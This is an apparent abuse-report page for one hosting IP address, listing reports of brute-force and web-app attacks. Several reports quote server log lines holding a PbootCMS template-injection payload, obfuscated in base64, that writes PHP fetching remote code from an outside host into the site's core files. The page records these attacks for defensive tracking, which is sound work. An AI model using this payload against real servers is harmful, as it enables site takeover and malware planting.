JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

27.124.12.31

Neutral Activity

Abuse Confidence Score

0% Low Risk

683 reports

143 reporters · latest 8 months ago

ISP: CTG Server Ltd.
Usage Type: Data Center/Web Hosting/Transit
ASN: AS152194
Domain Name: ctgserver.com
Country: 🇭🇰 Hong Kong
City: Tung Chung, Islands

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

27.124.12.31 has been reported 683 times. The most recent report is from 8 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

Abuse Reports

Export reports CSV

Total reports

683 from 143 distinct reporters

First reported

August 1st 2024

Most recent report

8 months ago

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 SpaceHost-Server	2026-03-12 02:47:13 UTC · (8 months ago)		Brute-Force Web App Attack
🇹🇷 rtbh.com.tr	2026-03-11 20:11:59 UTC · (8 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇯🇵 bokumin.org	2026-03-11 09:21:02 UTC · (8 months ago)	[id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [uri "/"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [uri "/"]	Web App Attack
🇵🇱 sledzik1984	2026-03-11 06:26:16 UTC · (8 months ago)	27.124.12.31 - - [10/Mar/2026:23:18:56 +0100] "GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy4vY29yZS9iYXNpYy9mdW4ucGhwJyxmaWxlX2dldF9jb250ZW50cygnaHR0cDovL ... show more 27.124.12.31 - - [10/Mar/2026:23:18:56 +0100] "GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy4vY29yZS9iYXNpYy9mdW4ucGhwJyxmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2Quc29nb3VhZC5vcmcvdHh0L2JsYWNrLnR4dCcpKTsgZWNobyAndGVtcDExMTg4OCc7IHVubGluayhfX0ZJTEVfXyk7\x22)))}{/pboot:if}/../../?p=20 HTTP/1.1" 404 10757 "http://n666888.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 27.124.12.31 - - [11/Mar/2026:07:26:13 +0100] "GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy4vY29yZS9iYXNpYy9mdW4ucGhwJyxmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2Quc29nb3VhZC5vcmcvdHh0L2JsYWNrLnR4dCcpKTsgZWNobyAndGVtcDExMTg4OCc7IHVubGluayhfX0ZJTEVfXyk7\x22)))}{/pboot:if}/../../?p=1 HTTP/1.1" 404 10768 "http://n666888.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537. ... show less	Web App Attack
🇩🇪 burlacu.org	2026-03-11 01:00:07 UTC · (8 months ago)	Nginx multi-log analysis detected: attack_pattern. Evidence: Attack pattern (multi-log) with code injection attempt occurrences. Blocked automatically.	Hacking Web App Attack
🇵🇱 sledzik1984	2026-03-10 22:18:02 UTC · (8 months ago)	27.124.12.31 - - [10/Mar/2026:23:17:58 +0100] "GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy4vY29yZS9iYXNpYy9mdW4ucGhwJyxmaWxlX2dldF9jb250ZW50cygnaHR0cDovL ... show more 27.124.12.31 - - [10/Mar/2026:23:17:58 +0100] "GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy4vY29yZS9iYXNpYy9mdW4ucGhwJyxmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2Quc29nb3VhZC5vcmcvdHh0L2JsYWNrLnR4dCcpKTsgZWNobyAndGVtcDExMTg4OCc7IHVubGluayhfX0ZJTEVfXyk7\x22)))}{/pboot:if}/../../?p=1 HTTP/1.1" 301 169 "http://n666888.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 27.124.12.31 - - [10/Mar/2026:23:18:01 +0100] "GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy4vY29yZS9iYXNpYy9mdW4ucGhwJyxmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2Quc29nb3VhZC5vcmcvdHh0L2JsYWNrLnR4dCcpKTsgZWNobyAndGVtcDExMTg4OCc7IHVubGluayhfX0ZJTEVfXyk7\x22)))}{/pboot:if}/../../?p=1 HTTP/1.1" 404 10707 "http://n666888.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ... show less	Web App Attack
🇺🇸 WeekendWeb	2026-03-10 15:06:33 UTC · (8 months ago)	Wordpress Vunerability attack	Web App Attack
Anonymous	2026-03-10 14:42:14 UTC · (8 months ago)	(wordpress) Failed wordpress login from 27.124.12.31 (HK/Hong Kong/-)	Brute-Force
🇫🇷 Kenshin869	2026-03-10 12:39:01 UTC · (8 months ago)	Wordpress unauthorized access attempt	Brute-Force
🇩🇪 abdubhai	2026-03-10 08:28:59 UTC · (8 months ago)	27.124.12.31 - - [10/Mar/2026:13 ...	Brute-Force
🇵🇱 sledzik1984	2026-03-10 08:09:36 UTC · (8 months ago)	2026-03-10T09:09:31.911255+01:00 cma wordpress(www.cma.pl)[2207401]: XML-RPC authentication attempt for unknown user piotr-gorskicma-pl from 27.124.12.31 2026-03-10T09:09:33.768067+01:00 cma wordpress(www.cma.pl)[2198729]: XML-RPC authentication atte ... show more 2026-03-10T09:09:31.911255+01:00 cma wordpress(www.cma.pl)[2207401]: XML-RPC authentication attempt for unknown user piotr-gorskicma-pl from 27.124.12.31 2026-03-10T09:09:33.768067+01:00 cma wordpress(www.cma.pl)[2198729]: XML-RPC authentication attempt for unknown user piotr-gorskicma-pl from 27.124.12.31 2026-03-10T09:09:35.846288+01:00 cma wordpress(www.cma.pl)[2199753]: XML-RPC authentication attempt for unknown user piotr-gorskicma-pl from 27.124.12.31 ... show less	Web App Attack
🇩🇪 Marc	2026-03-10 07:51:15 UTC · (8 months ago)		Brute-Force
🇫🇷 SpaceHost-Server	2026-03-10 03:05:22 UTC · (8 months ago)		Brute-Force Web App Attack
Anonymous	2026-03-10 01:56:39 UTC · (8 months ago)	(wordpress) Failed wordpress login from 27.124.12.31 (HK/Hong Kong/-): (CF_ENABLE)	Brute-Force
Anonymous	2026-03-10 01:23:57 UTC · (8 months ago)	Fail2ban filtered ...	Web App Attack

Showing 1 to 15 of 683 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇷🇴 92.118.39.56

🇰🇷 220.124.218.76

🇵🇱 172.64.200.124

🇫🇷 85.217.140.44

🇳🇱 77.67.26.251

🇳🇱 45.148.10.152

🇿🇦 20.87.218.237

🇩🇪 2a00:fbc:f1e5:6935:c874:9048:6f10:97b4

🇩🇪 2a00:fbc:f1e5:6935:449b:f5da:3254:b5bd

🇩🇪 2a00:fbc:f1e5:6935:c5e:ec84:21ca:aaf0

🇩🇪 2001:9e8:5246:ef00:7fb:5e42:190c:9bfe

🇰🇷 222.97.112.179

🇺🇸 162.216.149.126

🇸🇬 129.221.195.6

🇨🇳 120.225.223.165

🇧🇬 78.128.112.74

🇺🇸 24.234.85.196

🇺🇸 20.64.98.227

🇬🇧 5.226.140.69

🇺🇸 4.148.9.106